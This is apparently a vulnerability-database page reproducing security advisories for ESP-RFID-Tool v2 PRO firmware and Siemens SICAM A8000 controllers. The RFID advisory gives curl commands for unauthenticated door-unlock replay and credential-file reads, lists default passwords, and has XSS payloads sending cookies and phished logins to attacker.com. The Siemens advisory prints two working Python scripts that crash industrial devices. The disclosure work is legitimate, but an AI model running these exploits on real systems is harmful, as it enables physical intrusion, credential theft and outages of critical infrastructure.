are served the attacker-controlled page.
---
### ESPR-05 — Stored XSS via Log Injection
**Severity:** HIGH
**File:** `esprfidtool.ino` (log write path)
**Description:**
Log entries are written to SPIFFS containing raw data including HTML
markup. When logs are rendered via `ViewLog()` or `ListLogs()` without
output encoding, an attacker who can inject HTML/JavaScript into a log
entry achieves persistent stored XSS. This can be triggered by sending a
crafted Wiegand signal or via the unauthenticated TX API.
**Proof of Concept:**
```bash
# Inject XSS payload via unauthenticated TX endpoint
# Craft a bitstream that results in a log entry containing script tags
# The exact binary depends on how the logging function serializes data,
# but the vector is confirmed by the absence of HTML encoding on log output.
# After injection, any admin viewing logs triggers the payload:
curl "http://192.168.1.1/viewlog?payload=/log.txt";
# -> <script>...</script> executes in admin browser
```
**Impact:**
Persistent XSS. Any administrator viewing the log file executes
attacker-controlled JavaScript. Can be used to steal credentials or pivot
to further attacks.
---
### ESPR-06 — Hardcoded Default Credentials
**Severity:** HIGH
**File:** `esprfidtool.ino` — `loadDefaults()`
**Description:**
Default credentials are hardcoded and publicly known via the open-source
repository. No forced credential change on first boot.
| Service | Username | Password |
|---------|----------|----------|
| Web Interface / OTA Update | `admin` | `rfidtool` |
| FTP Server | `ftp-admin` | `rfidtool` |
| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |
**Proof of Concept:**
```bash
# Authenticated firmware update with known default credentials
curl -u admin:rfidtool "http://192.168.1.1:1337/update"; -F
"image=@malicious.bin"
# FTP login
ftp 192.168.1.1
# Login: ftp-admin / rfidtool
```
**Impact:**
Trivial full authentication bypass for all credential-protected endpoints.
Anyone familiar with the product has immediate access.
---
### ESPR-07 — Unauthenticated Log View + Filesystem Enumeration
**Severity:** HIGH
**File:** `esprfidtool.ino`
**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,
`/api/lastread`
**Description:**
All log viewing and filesystem enumeration endpoints require no
authentication. The `/api/lastread` endpoint additionally exposes the last
captured card in real time.
**Proof of Concept:**
```bash
# Enumerate all files on device
curl "http://192.168.1.1/api/listlogs";
# Read captured card data
curl "http://192.168.1.1/api/lastread";
# Response:
{"bits":26,"bitstream":"01001100...","uid":"0A1B2C3D","format":"HID26"}
# Get device info (firmware version, free space)
curl "http://192.168.1.1/api/info";
```
**Impact:**
Complete exfiltration of all captured RFID card data
Severity
No CVSS data available.
Assigner
References
21 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | ESP-RFID-Tool v2 PRO |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "ESP-RFID-Tool v2 PRO",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Milan Berger via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Security Advisory: ESP-RFID-Tool v2 PRO\n\n**Product:** ESP-RFID-Tool v2 PRO\n**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de\n**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2\n**Affected Version:** v2.2.1 (latest as of 2026-04-28)\n**Severity:** CRITICAL\n**Disclosure Type:** Full Public Disclosure\n**Disclosure Date:** 2026-04-28\n**Researcher:** Milan \u0027t4c\u0027 Berger\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-04-26 | Vulnerabilities discovered during code review |\n| 2026-04-27 | Researcher posted responsible disclosure comment on his\nadvertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher posted responsible disclosure comment again on\nhis advertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher attempted contact via additional social media\nchannels |\n| 2026-04-28 | Vendor blocked researcher on all contacted channels; no\nacknowledgment given |\n| 2026-04-28 | Full public disclosure \u2014 48h contact window exhausted,\nvendor uncooperative |\n\n---\n\n## Summary\n\nThe ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by\nRaik Schneider targeting security researchers and red team operators. It is\nbased on an ESP8266 microcontroller and provides a web interface for\nlogging, replaying, and analyzing Wiegand RFID data from physical access\ncontrol systems.\n\nMultiple critical security vulnerabilities were identified in firmware\nv2.2.1. The most severe findings allow any unauthenticated attacker with\nnetwork access to: replay captured RFID credentials against physical door\nlocks, read the complete device configuration including plaintext\npasswords, and permanently destroy all captured evidence \u2014 all without\nauthentication.\n\nNote: A full practical verification of all exploits involving physical\nsignal transmission could not be performed as no Wiegand access terminal\nwas available during testing.\n\nThe vendor was notified through all available channels. All notifications\nwere deleted, and the researcher was blocked. Full disclosure follows.\n\n---\n\n## Vulnerability Summary\n\n| ID | Severity | Title |\n|----|----------|-------|\n| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX \u2014 Physical Access\nControl Bypass |\n| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth\npresent, but trivially bypassed) |\n| ESPR-03 | **CRITICAL** | Path Traversal \u2014 Arbitrary SPIFFS File Read |\n| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |\n| ESPR-05 | **HIGH** | Stored XSS via Log Injection |\n| ESPR-06 | **HIGH** | Hardcoded Default Credentials |\n| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |\n| ESPR-08 | **MEDIUM** | No CSRF Protection \u2014 Entire Application |\n| ESPR-09 | **MEDIUM** | Plaintext FTP Server |\n| ESPR-10 | **MEDIUM** | Missing Security Response Headers |\n| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |\n| ESPR-12 | **LOW** | Predictable AP SSID \u2014 Device Fingerprinting |\n| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |\n\n---\n\n## Detailed Findings\n\n---\n\n### ESPR-01 \u2014 Unauthenticated Wiegand TX: Physical Access Control Bypass\n\n**Severity:** CRITICAL\n**File:** `api_server.cpp`\n**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`\n\n**Description:**\nAll Wiegand transmission API endpoints execute hardware TX operations\nwithout any authentication check. Any attacker on the same network can\nreplay arbitrary Wiegand bitstreams to downstream access control hardware \u2014\nunlocking physical doors, gates, or secured areas \u2014 with a single\nunauthenticated HTTP GET request.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/api/tx/bin\", []() {\n // ...\n // No server.authenticate() call\n apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Replay a captured 26-bit HID card to open a door\ncurl \"\nhttp://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\n\"\n\n# Re-encode a known UID and transmit\ncurl \"http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\";\n\n# Instant transmission (no response wait)\ncurl \"http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001\n\"\n```\n\n**Impact:**\nPhysical security bypass. An attacker who previously captured a card UID\n(e.g. via ESPR-07) can immediately replay it to open the corresponding door\n\u2014 all from an unauthenticated HTTP request. This completely undermines the\ndevice\u0027s operational security model.\n\n---\n\n### ESPR-02 \u2014 Log Deletion via Default Credentials\n\n**Severity:** MEDIUM\n**File:** `esprfidtool.ino`\n**Endpoints:** `/deletelog`, `/deletelog/yes`\n\n**Description:**\n`/deletelog/yes` requires HTTP Basic Authentication. However, the default\ncredentials (`admin:rfidtool`) are hardcoded and publicly known via the\nopen-source repository. Combined with ESPR-06, any attacker with knowledge\nof the default credentials can permanently delete all captured RFID logs.\n`/deletelog` (the confirmation page) has **no authentication**, which also\nmakes it a direct XSS vector (see ESPR-04).\n\n**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without\ncredentials. This finding was initially rated CRITICAL based on static code\nanalysis of an earlier version; auth is present in the tested build.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/deletelog/yes\", [](){\n if(!server.authenticate(update_username, update_password))\n return server.requestAuthentication();\n // Auth present \u2014 but default credentials are public (admin:rfidtool)\n SPIFFS.remove(deletelog);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Delete log using publicly known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1/deletelog/yes?payload=/log.txt\";\n```\n\n**Impact:**\nAny attacker who knows the default credentials (publicly available) can\npermanently destroy all captured evidence. Severity is driven by ESPR-06\n(hardcoded defaults) \u2014 fixing one without the other provides no real\nprotection.\n\n---\n\n### ESPR-03 \u2014 Path Traversal: Arbitrary SPIFFS File Read\n\n**Severity:** CRITICAL\n**File:** `esprfidtool.ino` \u2014 `ViewLog()`\n\n**Description:**\nThe `payload` parameter is passed directly to `SPIFFS.open()` without any\npath validation or sanitization. An unauthenticated attacker can read any\nfile stored in the device\u0027s SPIFFS filesystem, including configuration\nfiles containing plaintext credentials.\n\n**Vulnerable Code:**\n```cpp\nvoid ViewLog(){\n String payload;\n payload += server.arg(0); // raw URL arg, no sanitization\n File f = SPIFFS.open(payload, \"r\");\n // outputs file content directly to browser\n}\n```\n\n**Proof of Concept:**\n```bash\n# Note: server.arg(0) reads the FIRST URL argument by position, not by name.\n# The correct syntax is ?\u003cfilename\u003e, not ?payload=\u003cfilename\u003e\n\n# Read device configuration (contains credentials in plaintext)\ncurl \"http://192.168.1.1/viewlog?/esprfidtool.json\";\n\n# Read log files (enumerate first via /api/listlogs)\ncurl \"http://192.168.1.1/viewlog?/log.txt\";\n\n# List all available filenames first\ncurl \"http://192.168.1.1/api/listlogs\";\n```\n\n**Note:** The endpoint only returns content if the file exists on SPIFFS.\nThe config file `/esprfidtool.json` is filtered from `ListLogs()` output\nbut is NOT\nfiltered in `ViewLog()`, making it directly readable via this endpoint.\n\n**Example Response:**\n```json\n{\n \"ssid\": \"HomeNetwork\",\n \"password\": \"mysecretwifi\",\n \"update_username\": \"admin\",\n \"update_password\": \"rfidtool\",\n \"ftp_username\": \"ftp-admin\",\n \"ftp_password\": \"rfidtool\"\n}\n```\n\n**Impact:**\nFull information disclosure. WiFi credentials, admin passwords, FTP\ncredentials, and all captured RFID card data (UIDs, bitstreams) are exposed\nto any unauthenticated attacker.\n\n---\n\n### ESPR-04 \u2014 Reflected Cross-Site Scripting (XSS)\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `DeleteLog()`\n**Endpoint:** `GET /deletelog`\n\n**Description:**\nThe `payload` URL parameter is reflected directly into the HTML response\nbody without sanitization or HTML encoding. An attacker can inject\narbitrary JavaScript that executes in the victim\u0027s browser.\n\n**Vulnerable Code:**\n```cpp\n// server.arg(\"payload\") embedded directly into HTML \u2014 no htmlEncode()\nserver.send(200, \"text/html\", \"... Deleting: \" + payload + \" ...\");\n```\n\n**Proof of Concept:**\n```\n# Basic alert PoC\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003ealert(\u0027Sag Danke\u0027)\u003c/script\u003e\n\n# Cookie exfiltration\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.location=\u0027\nhttp://attacker.com/?c=\u0027+document.cookie\n\u003chttp://attacker.com/?c=%27+document.cookie\u003e\u003c/script\u003e\n\n# Credential phishing overlay (effective in captive portal context)\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.body.innerHTML=\u0027\u003cform\naction=\"http://attacker.com/steal\";\u003e\u003cinput name=\"u\"\nplaceholder=\"Username\"\u003e\u003cinput name=\"p\" type=\"password\"\nplaceholder=\"Password\"\u003e\u003cinput type=\"submit\"\u003e\u003c/form\u003e\u0027\u003c/script\u003e\n```\n\n**Impact:**\nSession hijacking, credential theft, UI redressing. Severity is elevated\nbecause the device operates as a captive portal \u2014 victims auto-connect and\nare served the attacker-controlled page.\n\n---\n\n### ESPR-05 \u2014 Stored XSS via Log Injection\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` (log write path)\n\n**Description:**\nLog entries are written to SPIFFS containing raw data including HTML\nmarkup. When logs are rendered via `ViewLog()` or `ListLogs()` without\noutput encoding, an attacker who can inject HTML/JavaScript into a log\nentry achieves persistent stored XSS. This can be triggered by sending a\ncrafted Wiegand signal or via the unauthenticated TX API.\n\n**Proof of Concept:**\n```bash\n# Inject XSS payload via unauthenticated TX endpoint\n# Craft a bitstream that results in a log entry containing script tags\n# The exact binary depends on how the logging function serializes data,\n# but the vector is confirmed by the absence of HTML encoding on log output.\n\n# After injection, any admin viewing logs triggers the payload:\ncurl \"http://192.168.1.1/viewlog?payload=/log.txt\";\n# -\u003e \u003cscript\u003e...\u003c/script\u003e executes in admin browser\n```\n\n**Impact:**\nPersistent XSS. Any administrator viewing the log file executes\nattacker-controlled JavaScript. Can be used to steal credentials or pivot\nto further attacks.\n\n---\n\n### ESPR-06 \u2014 Hardcoded Default Credentials\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `loadDefaults()`\n\n**Description:**\nDefault credentials are hardcoded and publicly known via the open-source\nrepository. No forced credential change on first boot.\n\n| Service | Username | Password |\n|---------|----------|----------|\n| Web Interface / OTA Update | `admin` | `rfidtool` |\n| FTP Server | `ftp-admin` | `rfidtool` |\n| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |\n\n**Proof of Concept:**\n```bash\n# Authenticated firmware update with known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1:1337/update\"; -F\n\"image=@malicious.bin\"\n\n# FTP login\nftp 192.168.1.1\n# Login: ftp-admin / rfidtool\n```\n\n**Impact:**\nTrivial full authentication bypass for all credential-protected endpoints.\nAnyone familiar with the product has immediate access.\n\n---\n\n### ESPR-07 \u2014 Unauthenticated Log View + Filesystem Enumeration\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino`\n**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,\n`/api/lastread`\n\n**Description:**\nAll log viewing and filesystem enumeration endpoints require no\nauthentication. The `/api/lastread` endpoint additionally exposes the last\ncaptured card in real time.\n\n**Proof of Concept:**\n```bash\n# Enumerate all files on device\ncurl \"http://192.168.1.1/api/listlogs\";\n\n# Read captured card data\ncurl \"http://192.168.1.1/api/lastread\";\n# Response:\n{\"bits\":26,\"bitstream\":\"01001100...\",\"uid\":\"0A1B2C3D\",\"format\":\"HID26\"}\n\n# Get device info (firmware version, free space)\ncurl \"http://192.168.1.1/api/info\";\n```\n\n**Impact:**\nComplete exfiltration of all captured RFID card data "
}
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"url": "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001"
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{
"url": "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\""
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"url": "http://192.168.1.1/deletelog/yes?payload=/log.txt\""
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{
"url": "http://192.168.1.1:1337/update\""
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{
"url": "http://attacker.com/?c=%27+document.cookie"
},
{
"url": "http://attacker.com/?c=\u0027+document.cookie"
},
{
"url": "http://attacker.com/steal\""
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{
"url": "https://github.com/Einstein2150/ESP-RFID-Tool-v2"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/18"
],
"discovery": "EXTERNAL"
},
"title": "ESP-RFID-Tool v2 PRO \u2014 Full Public Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0272",
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GCVE-1988-2026-0256
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000
Summary
CyberDanube Security Research 20260408-1
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities
product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012
vulnerable version| <=V25.30
fixed version| V26.10
CVE number| CVE-2026-27664
impact| High
homepage| https://siemens.com/
found| 18.12.2025
by| S. Dietz
| (Office Vienna)
| CyberDanube Security Research
| Vienna
|
| This research was conducted in cooperation with
| VERBUND Digital Power during a penetration test.
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"Our purpose: We create technology to transform the everyday, for everyone.
By combining the real and the digital worlds, we can help accelerate both
digitalization and sustainability - so our customers around the world can
become more competitive, resilient and sustainable."
Source: https://www.siemens.com/global/en/company/about.html
Vulnerable versions
-------------------------------------------------------------------------------
Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30
Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30
Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31
Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31
See also the vendor advisory:
https://cert-portal.siemens.com/productcert/html/ssa-246443.html
Vulnerability overview
-------------------------------------------------------------------------------
1) Unauthenticated Denial of Service
A crafted POST request with a large Content-Length and multipart boundary
without matching body seems to make the parser wait for more data. As long as
the connection is open, no other user can interact with the service. IHI00.elf
and RTUM85.elf are impacted by this.
2) Unauthenticated Memory Corruption (CVE-2026-27664)
A crafted POST request with a malicious XML body can be send to write null
bytes to an arbitrary memory address after the buffers location. This may lead
to a denial of service or remote code execution. This impacts the IHI00.elf as
well as the RTUM85.elf binary.
Proof of Concept
-------------------------------------------------------------------------------
1) Unauthenticated Denial of Service
The following python script can be used to temporarily impact the availability
of the device.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/bin/env python3
# S. Dietz <fitfrost4>
from pwn import *
IP = "localhost"
PORT = 8080
COMP = "ihi"
path = b""
if args.IP:
IP = args.IP
if args.PORT:
PORT = int(args.PORT)
if args.COMP:
COMP = args.COMP
if COMP == "rtum85":
path = b"/sicweb-ajax/rtum85/pwned"
elif COMP == "ihi":
path = b"/sicweb-ajax/auth"
req = b""
req += b"POST " + path + b" HTTP/1.1\r\n"
req += b"Content-Length: " + str(13371337).encode() + b"\r\n"
req += b"Content-Type: multipart/form-data; boundary=--pwned\r\n"
req += b"User-Agent: Mozilla/5.0\r\n"
req += b"Accept: */*\r\n"
req += b"Accept-Encoding: gzip, deflate, br\r\n"
req += b"Connection: keep-alive\r\n"
req += b"\r\n"
log.info(req)
with remote(IP, PORT) as io:
io.send(req)
io.recv(1337)
-------------------------------------------------------------------------------
2) Unauthenticated Memory Corruption (CVE-2026-27664)
The following python script can be used to crash the IHI00.elf application on
the device. As a watchdog (ISV00.elf) is active, the device reboots.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/bin/env python3
# S. Dietz <fitfrost4>
from pwn import *
IP = "localhost"
PORT = 8080
if args.IP:
IP = args.IP
if args.PORT:
PORT = int(args.PORT)
buf = b'<?xml version="1.0" encoding="UTF-8"?>\n'
buf += b"<x>" * 0xa0000
buf += b"</x>"
buf += b"\r\n"
body = buf
req = b""
req += b"POST /sicweb-ajax/auth HTTP/1.1\r\n"
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"sec-ch-ua: \"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"\r\n"
req += b"Content-Type: application/xml\r\n"
req += b"User-Agent: Mozilla/5.0\r\n"
req += b"Accept: */*\r\n"
req += b"Accept-Encoding: gzip, deflate, br\r\n"
req += b"Connection: keep-alive\r\n"
req += b"\r\n"
req += body
with remote(IP, PORT) as io:
io.send(req)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The issue arises due to a logic error in the XML parsing. Both binaries use
libexpat which export the function XML_SetElementHandler() which takes a
user-defined structure as well as two function pointer which are executed when
an opening or closing tag occurs. When looking at start() it can be observed
that the tag_depth is tracked. If the depth is greater than 15, the return
value gets set to -2 and the tag_depth gets incremented.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0052b0d4 void start(struct userdata* userData, char const* xmlchar)
0052b0da int32_t tag_depth = userData->tag_depth
0052b0e2 int32_t* entry_r2
0052b0e2
0052b0e2 if (tag_depth != 0)
0052b0e6 if (tag_depth != 1)
0052b0fa if (tag_depth u> 0xf)
0052b0fa goto too_big
[...]
0052b152 too_big:
0052b152 userData->retval = -2
0052b154 userData->tag_depth = tag_depth + 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
When a matching closing tag occurs, end() is executed. Due to a missing retval
check, the userData access happens out-of-bounds resulting in an arbitrary
null-byte overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0052a570 void end(struct userdata* userData, char const* xmlchar)
[...]
0052a584
0052a588 int32_t tag_depth = userData->tag_depth
0052a58c userData->tag_depth = tag_depth - 1
0052a58c
0052a58e if (tag_depth != 1)
0052a598 *(userData + ((tag_depth - 2) << 2) + 4) = 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Further investigations showed that the bug allows an attacker to write a word
of null-bytes to arbitrary memory after the buffers location, including the
stack. Due to the extensive usage of shared libraries, this results in a large
attack surface.
-------------------------------------------------------------------------------
Solution
-------------------------------------------------------------------------------
Install the latest version available.
Workaround
-------------------------------------------------------------------------------
Restrict network access to the device in the infrastructure.
Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends to perform a white-box security assessment of the SICAM
A8000 master module devices.
Contact Timeline
-------------------------------------------------------------------------------
2026-02-24: Contacting Siemens ProductCERT
2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a
valid behavior for resource conservation.
2026-03-09: Asking for name and organization for acknowledgement. In addition,
gave an estimation regarding the update timeline.
2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.
2026-04-08: Coordinated release of security advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF S. Dietz / @2025
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0256 (this record)
- related CVE-2026-27664
{
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"lang": "en",
"value": "CyberDanube Security Research 20260408-1\n-------------------------------------------------------------------------------\n title| Multiple Vulnerabilities\n product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n vulnerable version| \u003c=V25.30\n fixed version| V26.10\n CVE number| CVE-2026-27664\n impact| High\n homepage| https://siemens.com/\n found| 18.12.2025\n by| S. Dietz\n | (Office Vienna)\n | CyberDanube Security Research\n | Vienna\n |\n | This research was conducted in cooperation with\n | VERBUND Digital Power during a penetration test.\n |\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nA crafted POST request with a large Content-Length and multipart boundary\nwithout matching body seems to make the parser wait for more data. As long as\nthe connection is open, no other user can interact with the service. IHI00.elf\nand RTUM85.elf are impacted by this.\n\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nA crafted POST request with a malicious XML body can be send to write null\nbytes to an arbitrary memory address after the buffers location. This may lead\nto a denial of service or remote code execution. This impacts the IHI00.elf as\nwell as the RTUM85.elf binary.\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nThe following python script can be used to temporarily impact the availability\nof the device.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\nCOMP = \"ihi\"\npath = b\"\"\n\nif args.IP:\n IP = args.IP\nif args.PORT:\n PORT = int(args.PORT)\nif args.COMP:\n COMP = args.COMP\nif COMP == \"rtum85\":\n path = b\"/sicweb-ajax/rtum85/pwned\"\nelif COMP == \"ihi\":\n path = b\"/sicweb-ajax/auth\"\n\nreq = b\"\"\nreq += b\"POST \" + path + b\" HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(13371337).encode() + b\"\\r\\n\"\nreq += b\"Content-Type: multipart/form-data; boundary=--pwned\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\n\nlog.info(req)\n\nwith remote(IP, PORT) as io:\n io.send(req)\n io.recv(1337)\n\n-------------------------------------------------------------------------------\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nThe following python script can be used to crash the IHI00.elf application on\nthe device. As a watchdog (ISV00.elf) is active, the device reboots.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\n\nif args.IP:\n IP = args.IP\n\nif args.PORT:\n PORT = int(args.PORT)\n\nbuf = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\nbuf += b\"\u003cx\u003e\" * 0xa0000\nbuf += b\"\u003c/x\u003e\"\nbuf += b\"\\r\\n\"\n\nbody = buf\nreq = b\"\"\nreq += b\"POST /sicweb-ajax/auth HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\nreq += b\"sec-ch-ua: \\\"Chromium\\\";v=\\\"133\\\", \\\"Not(A:Brand\\\";v=\\\"99\\\"\\r\\n\"\nreq += b\"Content-Type: application/xml\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\nreq += body\n\nwith remote(IP, PORT) as io:\n io.send(req)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe issue arises due to a logic error in the XML parsing. Both binaries use\nlibexpat which export the function XML_SetElementHandler() which takes a\nuser-defined structure as well as two function pointer which are executed when\nan opening or closing tag occurs. When looking at start() it can be observed\nthat the tag_depth is tracked. If the depth is greater than 15, the return\nvalue gets set to -2 and the tag_depth gets incremented.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052b0d4 void start(struct userdata* userData, char const* xmlchar)\n0052b0da int32_t tag_depth = userData-\u003etag_depth\n0052b0e2 int32_t* entry_r2\n0052b0e2\n0052b0e2 if (tag_depth != 0)\n0052b0e6 if (tag_depth != 1)\n0052b0fa if (tag_depth u\u003e 0xf)\n0052b0fa goto too_big\n[...]\n0052b152 too_big:\n0052b152 userData-\u003eretval = -2\n0052b154 userData-\u003etag_depth = tag_depth + 1\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen a matching closing tag occurs, end() is executed. Due to a missing retval\ncheck, the userData access happens out-of-bounds resulting in an arbitrary\nnull-byte overflow\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052a570 void end(struct userdata* userData, char const* xmlchar)\n[...]\n0052a584\n0052a588 int32_t tag_depth = userData-\u003etag_depth\n0052a58c userData-\u003etag_depth = tag_depth - 1\n0052a58c\n0052a58e if (tag_depth != 1)\n0052a598 *(userData + ((tag_depth - 2) \u003c\u003c 2) + 4) = 0\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFurther investigations showed that the bug allows an attacker to write a word\nof null-bytes to arbitrary memory after the buffers location, including the\nstack. Due to the extensive usage of shared 